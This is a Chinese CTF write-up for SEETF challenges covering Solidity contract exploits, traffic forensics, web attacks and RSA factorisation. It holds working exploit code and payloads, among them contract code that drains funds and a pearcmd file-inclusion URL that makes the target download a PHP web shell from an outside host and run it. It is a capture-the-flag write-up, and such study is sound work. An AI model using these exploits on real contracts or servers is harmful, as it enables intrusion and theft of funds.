部署合约后设置 isSolved 为 true
合约源码
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract YouOnlyHaveOneChance { uint256 public balanceAmount; address public owner; uint256 randNonce = 0; constructor() { owner = msg.sender; balanceAmount = uint256( keccak256( abi.encodePacked(block.timestamp, msg.sender, randNonce) ) ) % 1337; } function isBig(address _account) public view returns (bool) { uint256 size; assembly { size := extcodesize(_account) } return size > 0; } function increaseBalance(uint256 _amount) public { require(tx.origin != msg.sender); require(!isBig(msg.sender), "No Big Objects Allowed."); balanceAmount += _amount; } function isSolved() public view returns (bool) { return balanceAmount == 1337; } }
需要绕过两个逻辑
require(tx.origin != msg.sender); require(!isBig(msg.sender), "No Big Objects Allowed.");
部署一个新合约来调用函数就可以做到绕过第一个逻辑,第二个逻辑要使代码区为空,来通过 extcodesize 的检验,但是又必须使用合约调用才能通过第一个逻辑
Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code. …… During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code.
文档中写道,在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然而代码区为空,此时,调用 EXTCODESIZE() 返回为 0
部署合约第一次 balanceAmout 为 745, 加上 592 即可通过 isSolved() 函数得到 Flag
// SPDX-License-Identifier: MIT pragma solidity ^0.4.0; contract YouOnlyHaveOneChance { uint256 public balanceAmount; address public owner; uint256 randNonce = 0; constructor() { owner = msg.sender; balanceAmount = uint256( keccak256( abi.encodePacked(block.timestamp, msg.sender, randNonce) ) ) % 1337; } function isBig(address _account) public view returns (bool) { uint256 size; assembly { size := extcodesize(_account) } return size > 0; } function increaseBalance(uint256 _amount) public { require(tx.origin != msg.sender); require(!isBig(msg.sender), "No Big Objects Allowed."); balanceAmount += _amount; } function isSolved() public view returns (bool) { return balanceAmount == 1337; } } contract hack { function hack(address _c) { YouOnlyHaveOneChance c = YouOnlyHaveOneChance(_c); c.increaseBalance(592); } }
合约源码
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract DuperSuperSafeSafe { address public owner; mapping(uint => bytes32) private secret_passphrases; uint timestamp; constructor(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2) payable { owner = msg.sender; timestamp = block.timestamp; secret_passphrases[0] = _secret_passphrase; secret_passphrases[1] = _secret_passphrase_2; } receive() external payable {} modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; } modifier passwordProtected(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) { require(keccak256(abi.encodePacked(secret_passphrases[0], secret_passphrases[1], timestamp)) == keccak256(abi.encodePacked(_secret_passphrase, _secret_passphrase_2, _timestamp)), "Wrong secret passphrase"); _; } function changeOwner(address _newOwner) public { if (tx.origin != msg.sender) { owner = _newOwner; } } function changeSecretPassphrase(bytes32 _new_secret_passphrase, bytes32 _new_secret_passphrase_2, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) public restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) { secret_passphrases[0] = _new_secret_passphrase; secret_passphrases[1] = _new_secret_passphrase_2; timestamp = block.timestamp; } function withdrawFunds(uint _amount, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) external payable restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) { require(balanceOf(msg.sender) >= _amount, "Not enough funds"); payable(address(msg.sender)).transfer(_amount); } function balanceOf(address _addr) public view returns (uint balance) { return address(_addr).balance; } function isSolved() public view returns (bool) { return balanceOf(address(this)) == 0; } } contract HostileTakeover { function changeOwner(address payable target, address newOwner) public { DuperSuperSafeSafe(target).changeOwner(newOwner); } }
首先第一步需要获得 Owner权限
modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; }
关注这几行代码, 通过合约调用时可以获取 Owner权限
function changeOwner(address _newOwner) public { if (tx.origin != msg.sender) { owner = _newOwner; } }
题目要求为转移出合约中的所有资金,需要调用函数 withdrawFunds ,调用所需参数有 两个部署时的密码和 timestamp 来通过函数 changeSecretPassphrase 的验证, 测试部署使用密码 0xaa.... 和 0xbb....
产生 transaction hash, 编写 js 脚本查看信息
而部署题目时,我们也有交易Hash,可以通过这个信息获取到 两个密钥和 timestamp
获取后再通过编写合约脚本调用函数 changeOwner 得到 Owner权限,通过 函数 withdrawFunds 清空合约资金
通过得到的密码和 timestamp 转移资金
扔进wireshark发现可疑文件
导出后提示需要密码,tcp contains "password"找到密码 在解压后的文件中发现压缩包,解压需要密码
上工具爆破,秒开
直接读取 /etc/passwd
利用 dns rebinding 在ceye.io 设置下
对目标发送一个请求
双写/绕过
http://flagportal.chall.seetf.sg:10001//admin?backend=http://testctf.wgpsec.org <?php var_dump($_POST); var_dump($_SERVER); ?>
继续双写绕过
根据上一题拿出来KEY
<?php $f = fopen("test.txt", "w"); $text = $_POST["flag"]; fwrite($f, $text); ?>
看到提示联想到 pearcmd
view-source:http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://testctf.wgpsec.org/s.php //先是 ls / 发现一个readflag 的二进制文件 <?php system("/readflag")?>
view-source:http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../tmp/tmp/pear/download/s.php
leak libc_base 查 libc
https://mirror.umd.edu/ubuntu/ubuntu/pool/main/g/glibc/
from pwn import * from ctypes import * from time import * context.log_level = 'debug' p = process('./testpwn') if args.R: p = remote('fun.chall.seetf.sg',50001) e = ELF('./testpwn') libc = cdll.LoadLibrary('libc-2.23.so') libc.srand(int(time())) v8 = libc.random() % 1000000 p.sendlineafter('register:','1') p.sendlineafter('Do I know you?','1') print v8 p.sendlineafter('number!',str(v8)) p.interactive()
py2input的洞
https://github.com/sherlock-project/sherlock
SEE{[A-Z]{5}[0-9]{5}[A-Z]{6}
扔进ps拼图
import libnum import gmpy2 from Crypto.PublicKey import RSA def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n, verbose=True): a = isqrt(n) # int(ceil(n**0.5)) b2 = a * a - n b = isqrt(n) # int(b2**0.5) count = 0 while b * b != b2: # if verbose: # print('Trying: a=%s b2=%s b=%s' % (a, b2, b)) a = a + 1 b2 = a * a - n b = isqrt(b2) # int(b2**0.5) count += 1 p = a + b q = a - b assert n == p * q # print('a=',a) # print('b=',b) # print('p=',p) # print('q=',q) # print('pq=',p*q) return p, q with open("pubckey1.pem", "rb") as f: key = RSA.import_key(f.read()) n = key.n e = key.e # 费马分解, c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017 n1 = fermat(n) p = n1[0] q = n1[1] phi_n=(p-1)*(q-1) d=gmpy2.invert(e,phi_n) m=pow(c,d,n) print(m) print(libnum.n2s(int(m)).decode())
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号 想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~
在线文库: http://wiki.peiqi.tech Github: https://github.com/PeiQi0/PeiQi-WIKI-Book